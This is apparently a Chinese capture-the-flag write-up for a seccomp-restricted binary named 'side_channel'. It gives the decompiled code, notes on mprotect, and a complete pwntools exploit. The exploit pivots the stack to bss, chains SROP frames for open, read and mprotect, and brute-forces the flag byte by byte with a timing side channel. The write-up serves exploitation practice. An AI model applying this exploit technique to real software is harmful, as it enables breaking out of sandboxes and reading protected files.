文章目录
- side_channel libc 2.37
- 检查
- IDA源码
- 思路
- 选择合适的syscall的gadget
- 寻找可写入shellcode的内存区间
- mprotect()修改属性
- exp
side_channel libc 2.37
检查
禁用了write,能用open和read和mprotect
IDA源码
__int64 __fastcall main(int a1, char **a2, char **a3)
{sub_401448();sub_40136E();return 0LL;
}
int sub_401448()
{setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);return setvbuf(stderr, 0LL, 2, 0LL);
}
__int64 sub_40136E()
{char v1[10]; // [rsp+6h] [rbp-2Ah] BYREF_QWORD v2[4]; // [rsp+10h] [rbp-20h] BYREFv2[0] = 0x6F6E6B2075206F44LL;v2[1] = 0x6920746168772077LL;v2[2] = 0xA3F444955532073LL;strcpy(v1, "easyhack\n");syscall(1LL, 1LL, v1, 9LL);syscall(0LL, 0LL, &unk_404060, 4096LL);syscall(1LL, 1LL, v2, 24LL);sub_40119E();syscall(0LL, 0LL, v1, 58LL);return 0LL;
}
__int64 sub_40119E()
{__int64 result; // rax__int64 v1; // [rsp+8h] [rbp-8h]v1 = seccomp_init(0LL);if ( !v1 ){perror("seccomp_init");exit(1);}if ( (int)seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL) < 0 ){perror("seccomp_rule_add");exit(1);}if ( (int)seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL) < 0 ){perror("seccomp_rule_add");exit(1);}if ( (int)seccomp_rule_add(v1, 2147418112LL, 90LL, 0LL) < 0 ){perror("seccomp_rule_add");exit(1);}if ( (int)seccomp_rule_add(v1, 2147418112LL, 231LL, 0LL) < 0 ){perror("seccomp_rule_add");exit(1);}if ( (int)seccomp_rule_add(v1, 2147418112LL, 15LL, 0LL) < 0 ){perror("seccomp_rule_add");exit(1);}if ( (int)seccomp_rule_add(v1, 2147418112LL, 10LL, 0LL) < 0 ){perror("seccomp_rule_add");exit(1);}result = seccomp_load(v1);if ( (int)result < 0 ){perror("seccomp_load");exit(1);}return result;
}
思路
和上题差不多,但需要测信道爆破和mprotect修改内存段属性
通过栈迁移到bss上去,然后通过SROP依次调用open,read,mprotect,shellcode
使用完mprotect后,即syscall完后pop rbp,ret,此时ret时的栈顶为shellcode在bss上的地址
选择合适的syscall的gadget
使用ROPgadget没有找到
但是查看IDA中却有,算作一个教训吧
寻找可写入shellcode的内存区间
写入并执行shellcode,那么意味着该区间需要w和x,观察全部,发现没有符合的,此时需要修改内存段的权限才行
mprotect()修改属性
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);
注意这里start要为某页的起始地址,len需要为页大小的整数倍
注意即使原来属性有 PROT_READ和 PROT_WRITE,当使用mprotect时参数如果为PROT_EXEC,那么将只存在PROT_EXEC属性,如果此时有访问或者写的操作将会引发异常
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
-
PROT_READ:表示内存段内的内容可写;
-
PROT_WRITE:表示内存段内的内容可读;
-
PROT_EXEC:表示内存段中的内容可执行;
-
PROT_NONE:表示内存段中的内容根本没法访问。
需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
如果执行成功,则返回0;如果执行失败,则返回-1,并且设置errno变量,说明具体因为什么原因造成调用失败。错误的原因主要有以下几个:
1)EACCES
该内存不能设置为相应权限。这是可能发生的,比如,如果你 mmap(2) 映射一个文件为只读的,接着使用 mprotect() 标志为 PROT_WRITE。
2)EINVAL
start 不是一个有效的指针,指向的不是某个内存页的开头。
3)ENOMEM
内核内部的结构体无法分配。
4)ENOMEM
进程的地址空间在区间 [start, start+len] 范围内是无效,或者有一个或多个内存页没有映射。
如果调用进程内存访问行为侵犯了这些设置的保护属性,内核会为该进程产生 SIGSEGV (Segmentation fault,段错误)信号,并且终止该进程。
exp
注意flag为“”与字符相加时才可以通过print输出字符,flag为0与字符相加时不会输出
from pwn import*
context(os="linux",arch="amd64")#gdb.attach(f, "b main")
flag=""
for one in range(0,40):for two in range(0x20,0x80):try:f=process("./chall")# 创建了一个进程leave_ret=0x401446bss=0x404060mov_rax_0xf=0x0000000000401193syscall_pop_rbp_ret=0x000000000040118Afram_open=SigreturnFrame()fram_open.rax=constants.SYS_openfram_open.rdi=bssfram_open.rsi=constants.O_RDONLYfram_open.rip=syscall_pop_rbp_retfram_open.rsp=bss+248+16+8fram_read=SigreturnFrame()fram_read.rax=constants.SYS_readfram_read.rdi=3fram_read.rsi=bssfram_read.rdx=40fram_read.rip=syscall_pop_rbp_retfram_read.rsp=bss+248+16+248+16+16shellcode='''loop:cmp byte ptr[0x404060+{0}], {1}jz loop'''.format(one,two)shellcode_address=bss+248+16+248+16+16+24+248+16fram_mprotect=SigreturnFrame()fram_mprotect.rax=constants.SYS_mprotectfram_mprotect.rdi=0x404000 #为页的起始地址fram_mprotect.rsi=0x1000fram_mprotect.rdx=constants.PROT_EXEC|constants.PROT_READ|constants.PROT_WRITEfram_mprotect.rip=syscall_pop_rbp_retfram_mprotect.rsp=bss+248+16+248+16+16+24+248payload1=b"./flag"+2*b"\x00"+p64(mov_rax_0xf)+p64(syscall_pop_rbp_ret)+bytes(fram_open)+p64(0)+p64(mov_rax_0xf)+p64(syscall_pop_rbp_ret)+bytes(fram_read)+p64(0)+p64(mov_rax_0xf)+p64(syscall_pop_rbp_ret)+bytes(fram_mprotect)+p64(0)+p64(shellcode_address)+asm(shellcode)f.sendlineafter(b"easyhack\n",payload1)payload2=0x2a*b"a"+p64(bss)+p64(leave_ret)f.sendlineafter(b"Do u know what is SUID?\n",payload2)f.recv(timeout=1)f.close()flag=flag+chr(two)print("flag:",flag)one=one+1breakexcept:passf.close()# 不关闭导致运行的进程过多而停止two=two+1